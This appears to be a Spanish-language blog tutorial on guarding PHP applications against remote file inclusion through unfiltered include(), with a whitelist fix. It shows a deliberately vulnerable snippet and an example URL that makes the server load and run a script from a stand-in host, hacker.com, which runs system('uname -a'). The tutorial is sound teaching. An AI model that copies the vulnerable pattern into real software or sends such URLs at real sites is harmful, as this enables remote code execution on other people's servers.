Protecting your application from exploits related to include()

Como hemos visto en capítulos anteriores sobre problemas de seguridad y sql injection, hay una serie de aspectos relacionados con la seguridad a tener en cuenta a la hora de diseñar una aplicación web. Uno de los más explotados es la falla abierta por un uso indebido de la función de php include().

Veamos un ejemplo:

1
2
3
4
5
6
7
8
<a href="?page=home.php">Home</a> | <a href="?page=contact.php">Contact</a>
<?php
  $page = $_GET['page'];
  if ($page)
    include $page;
  else
    echo "404, page not found!";
?>

En el ejemplo anterior, pasamos como variable ‘$page’ el nombre del archivo (php en este caso, podrí­a ser html u otra extensión), que será cargado en la lí­nea correspondiente mediante ‘include()’. La ausencia de filtrado de esta variable puede dejar nuestra aplicación a merced de cualquier intruso poco experimentado, veamos por qué.

  1. El sistema es fácilmente reconocible. La cadena ‘?page=paginaXXX.php’ sugiere que en cada sección se está cargando un archivo externo, y que por tanto debe de haber un include cerca.
  2. Si la variable no está filtrada, podemos pasarle código que haga lo que nosotros queramos. Podemos indicarle que cargue un archivo ubicado en cualquier servidor, con código que realice desde llamadas a bases de datos hasta (lo más común), envíos masivos de emails (spam). Aquí­ el problema es bastante grave porque cuando estos abusos se detectan suele ser una vez se han cometido, y eso casi siempre es tarde

Supongamos un ejemplo: copiemos el código anterior en un archivo llamado ‘hackme.php’, pongámoslo en un servidor web, y llamémoslo pasándole este valor a la variable ‘$page’: http://www.tusitio.com/hackme.php?page=http://www.hacker.com/evilscript.php

Esto leerá el archivo evilscript.php del servidor hacker.com y ¡lo ejecutará en tu máquina! Si el archivo evilscript.php fuera por ejemplo:

1
2
3
<?php
  system ('uname -a');
?>

El intruso estaría obteniendo el sistema operativo, lo que podría darle información acerca de posibles vulnerabilidades. Pero también podría, por ejemplo, leer cualquier archivo ‘config.php’ y mostrar su contenido en pantalla ofreciendo así datos importantes sobre la aplicación, etc.

Es como dejar un Ferrari aparcado con las llaves puestas.

Para solucionar este problema de ejecución de código malicioso en nuestra aplicación, deberí­amos sustituir la lí­nea

1
include $page;

por un filtro apropiado para nuestra aplicación:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<a href="?page=home.php">Home</a> | <a href="?page=contact.php">Contact</a>
<?php
  $page = $_GET['page'];
  switch ($page) 
  {
    case "":
    case "home.php":
      include "home.php";
      break;
    case "contact.php":
      include "contact.php";
      break;
    default:
      include "404.php";
      break;
  }
?>

De este modo, en nuestro sistema se ejecutará única y exclusivamente el código que se debe ejecutar. Al menos, en cuanto a lo que la función include() se refiere.

Leave a Reply

Your email address will not be published. Required fields are marked *